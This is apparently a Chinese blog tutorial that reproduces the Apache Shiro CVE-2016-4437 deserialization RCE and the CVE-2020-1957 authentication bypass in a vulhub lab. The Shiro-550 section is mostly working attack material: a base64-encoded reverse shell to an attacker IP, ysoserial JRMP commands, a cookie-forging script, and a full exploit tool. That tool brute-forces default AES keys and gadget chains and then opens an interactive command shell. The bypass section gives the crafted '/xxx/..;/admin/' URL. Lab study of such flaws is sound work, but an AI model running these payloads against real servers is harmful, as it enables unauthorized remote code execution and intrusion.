入职大厂必会
Shiro CVE-2016-4437反序列化漏洞
启动靶场
在终端里进入事先进入准备好的vulhub靶场目录下,
cd vulhub-master/shiro/CVE-2016-4437/
sudo docker-compose up -d
执行命令后,看到如下图所示即为成功,此时可在浏览器中输入http://ip:8090,正常访问即为靶场启动成功。
漏洞发现
漏洞成因
Shiro提供了登录时记住我的功能。其流程为:
- 读取cookie中的rememberMe
- Base64解密
- AES解密
- 反序列化
从Shiro漏洞形成的原因看,是在开发过程中,没有对密钥进行更换,采用了默认的AES密钥或网上常用的密钥。攻击者通过构造恶意对象并通过密钥进行AES加密再经过Base64加密后,放在Cookie中提交,Shiro读取Cookie并解密,反序列化,进而导致任意命令执行。这就给了攻击者可乘之机,构造对应的 payload:
命令=>序列化=>AES加密=>Base64编码=>Cookie存储rememberMe
寻找方式
所以寻找存在 Shiro反序列化漏洞的方法,就是观察Cookie是否有用rememberMe进行存储,然后再用 payload 尝试,可以看到如下图所示,响应中Set-Cookie:rememberMe=deleteMe,故推测存在Shiro反序列化漏洞。
漏洞利用
手搓
知道原理后我们就开始利用漏洞了,环境如下:
靶机:192.168.75.146
攻击机:192.168.75.144
手搓学习请参考:
首先我们生成编码,通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。
java.exe -cp ysoserial-sleep.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE0NC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
6666为端口号
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE0NC8xMjM0IDA+JjE=为下方Base64加密的值,对应换成你的攻击机的ip地址就行,目的是为了反弹shell:
bash -i >& /dev/tcp/192.168.75.144/1234 0>&1
然后加密一下我们的rememberMe指向的端口,脚本如下:
#shiro.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-sleep.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
然后执行:
python shiro.py 192.168.75.144:6666
将生成的rememberMe作为cookie,此时执行:
nc -lvp 1234
监听1234端口,然后再发包,就能成功反弹shell了。我参考文章后,没能成功,可能是我在windows的情况下吧。有哪个大佬看到了还望指引小弟一下,具体出错如下:
上面的博主写得也很详细了,大概流程也明白了,我这走不通就直接上别人写好的工具吧那就,
工具
py源码如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author: zhzyker
# from: https://github.com/zhzyker/exphub
import os
import sys
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
if len(sys.argv)!=2:
print('+-------------------------------------------------------------------------------------------------------+')
print('+ DES: By zhzyker as https://github.com/zhzyker/exphub +')
print('+ Vuln Name: CVE-2016-4437 | Shiro 550 | Shiro 1.2.4 +')
print('+ +')
print('+ Nc shell need encode command: http://www.jackson-t.ca/runtime-exec-payloads.html +')
print('+ Original: bash -i >&/dev/tcp/1.1.1.1/233 0>&1 +')
print('+ Encoding: bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvMjMzIDA+JjE=}|{base64,-d}|{bash,-i} +')
print('+-------------------------------------------------------------------------------------------------------+')
print('+ USE: python3 <filename> <url> +')
print('+ EXP: python3 shiro-1.2.4_rce.py http://1.1.1.1:8080 +')
print('+ VER: Apahce Shiro <= 1.2.4 +')
print('+-------------------------------------------------------------------------------------------------------+')
sys.exit()
url = sys.argv[1]
cmd_sleep = 'sleep-5'
ysoserial = 'ysoserial-sleep.jar'
gadget_list = ["CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Spring1","Spring2","Jdk7u21","ROME","Clojure"]
key_list = ["kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", "4AvVhmFLUs0KTA3Kprsdag==", "5aaC5qKm5oqA5pyvAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", "bWljcm9zAAAAAAAAAAAAAA==", "wGiHplamyXlVB11UXWol8g==", "Z3VucwAAAAAAAAAAAAAAAA=="]
header = {
'User-agent' : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'
}
print ("[*] Testing gadget")
for gadget in gadget_list:
print ("[*] Check gadget: " + gadget)
for key in key_list:
popen = subprocess.Popen(['java', '-jar', ysoserial, gadget, cmd_sleep], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
payload = base64_ciphertext.decode()
try:
r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10)
time = r.elapsed.seconds
if time >= 5:
key_succes = key
gadget_succes = gadget
print ("[+] Find gadget: " + gadget_succes)
else:
key_failed = key
gadget_failed = gadget
except:
print ("[-] Check Failed: " + gadget)
print ("[+] Find Key: " + key_succes)
def exploit(url, cmd, key_succes, gadget_succes):
if system == "linux":
base64_cmd = base64.b64encode(str.encode(cmd))
cmd64 = base64_cmd.decode('ascii')
command = "bash -c {echo," + cmd64 + "}|{base64,-d}|{bash,-i}"
print ("[+] [Linux] Base64 Command: " + command)
elif system == "windows":
# print (gadget_succes)
command = str(cmd)
print ("[+] [Windows] Command:" + command)
popen = subprocess.Popen(['java', '-jar', ysoserial, gadget_succes, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key_succes), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
payload = base64_ciphertext.decode()
try:
r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10)
if r.status_code == 200:
print ("[+] Command Send Succes, Please Check (No Echo)")
else:
print ("[-] Command Send Failed, Please Check (No Echo)")
except:
print ("[-] Command Send Failed, Please Check (No Echo)")
if key_succes:
while 1:
system = input("[*] System (linux or windows): ")
if system == "linux":
while 2:
cmd = input("Shell >>> ")
if cmd == "exit" : exit(0)
exploit(url, cmd, key_succes, gadget_succes)
elif system == "windows":
while 3:
cmd = input("Shell >>> ")
if cmd == "exit" : exit(0)
exploit(url, cmd, key_succes, gadget_succes)
elif system == "exit": exit(0)
else:
print ("[-] The operating system is not recognized")
else:
print ("[-] Not Key, Not Gadget, Not vuln")
sys.exit()
直接执行py工具:
python shiro-1.2.4_rce.py http://192.168.75.146:8080
执行后,要求我们输入linux或者windows,我们输入对应的靶机的系统版本即可,然后会要求我们输入Shell:
bash -i >& /dev/tcp/192.168.75.144/1234 0>&1
到此,Shiro漏洞就算介绍完毕了,感谢大家听我废话一堆。
建议好好学习Shiro原理,大厂面试必问。工具的话,github搜索就有。
Shiro CVE-2020-1957认证绕过漏洞
影响范围
Apache Shiro < 1.5.3
漏洞成因
在Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,通过构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。
客户端请求URL: /xxx/…;/admin/
Shrio 内部处理得到校验URL为 /xxx/…,校验通过
SpringBoot 处理 /xxx/…;/admin/, 最终请求 /admin/, 成功访问了后台请求。
漏洞利用
环境准备
名称 | IP |
---|---|
攻击机 | 192.168.75.162 |
靶机 | 192.168.75.146 |
首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8983即可
cd vulhub-master/shiro/CVE-2020-1957
docker-compose up -d
然后在浏览器中访问http://192.168.75.146:8080
漏洞复现
我们正常流程登录进入后台,如下所示:
接下来我们退出登录并在URL中构造恶意请求:
http://192.168.75.146:8080/xxx/..;/admin/
发现访问成功!